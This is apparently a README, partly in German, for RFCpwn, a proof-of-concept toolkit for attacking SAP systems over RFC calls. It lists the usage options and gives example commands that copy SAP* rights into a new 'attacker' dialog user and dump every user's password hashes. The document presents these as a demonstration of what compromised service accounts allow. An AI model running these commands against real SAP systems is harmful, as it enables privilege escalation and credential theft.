
Ein Aufzählungs- und Ausnutzungs-Toolkit, das RFC-Aufrufe an SAP verwendet.
Ein SAP-Enumeration- und Exploitation-Toolkit, das SAP-RFC-Aufrufe verwendet
Twitter: @icryo
Dies ist ein Toolkit zur Demonstration der Auswirkungen kompromittierter Servicekonten.
Dieses PoC ist nicht für den Einsatz in Produktionsumgebungen gedacht, es wird keine Garantie für Stabilität oder Support gegeben.
RFCpwn basiert auf pyrfc und den von SAP bereitgestellten Bibliotheken unter: https://github.com/SAP/PyRFC#installation
usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]
An Impacket style enumeration and exploitation tool using SAP RFC calls
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
Authentication:
-ip IP <targetName or address>
-u Username RFC Users Username
-p Password RFC Users Password
-c Client Client- eg.000
-s Sysid System Number- eg 00
-ping RFC Ping Command
User Abuse:
-enum Use to enumerate a specific user
-usercopy add a Dialog User
-user USER Required for -usercopy and -userenum to specify the user
-copy COPY User to be copied required for -usercopy
-pw PW password of new user for -usercopy
Hash Collection:
-dump Dump hashes use with below
-exp EXPERIMENTAL - Dump BCODE / PASSCODE hashes
Ping - Verbindung bestätigen
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -ping
Rechte eines Benutzers in einen neuen Dialogbenutzer kopieren. Wenn -copy nicht angegeben ist, wird SAP* verwendet.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
Hashes aller Benutzer auslesen. Option -exp für experimentelle Bcode- und Passcode-Hashes.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -dump
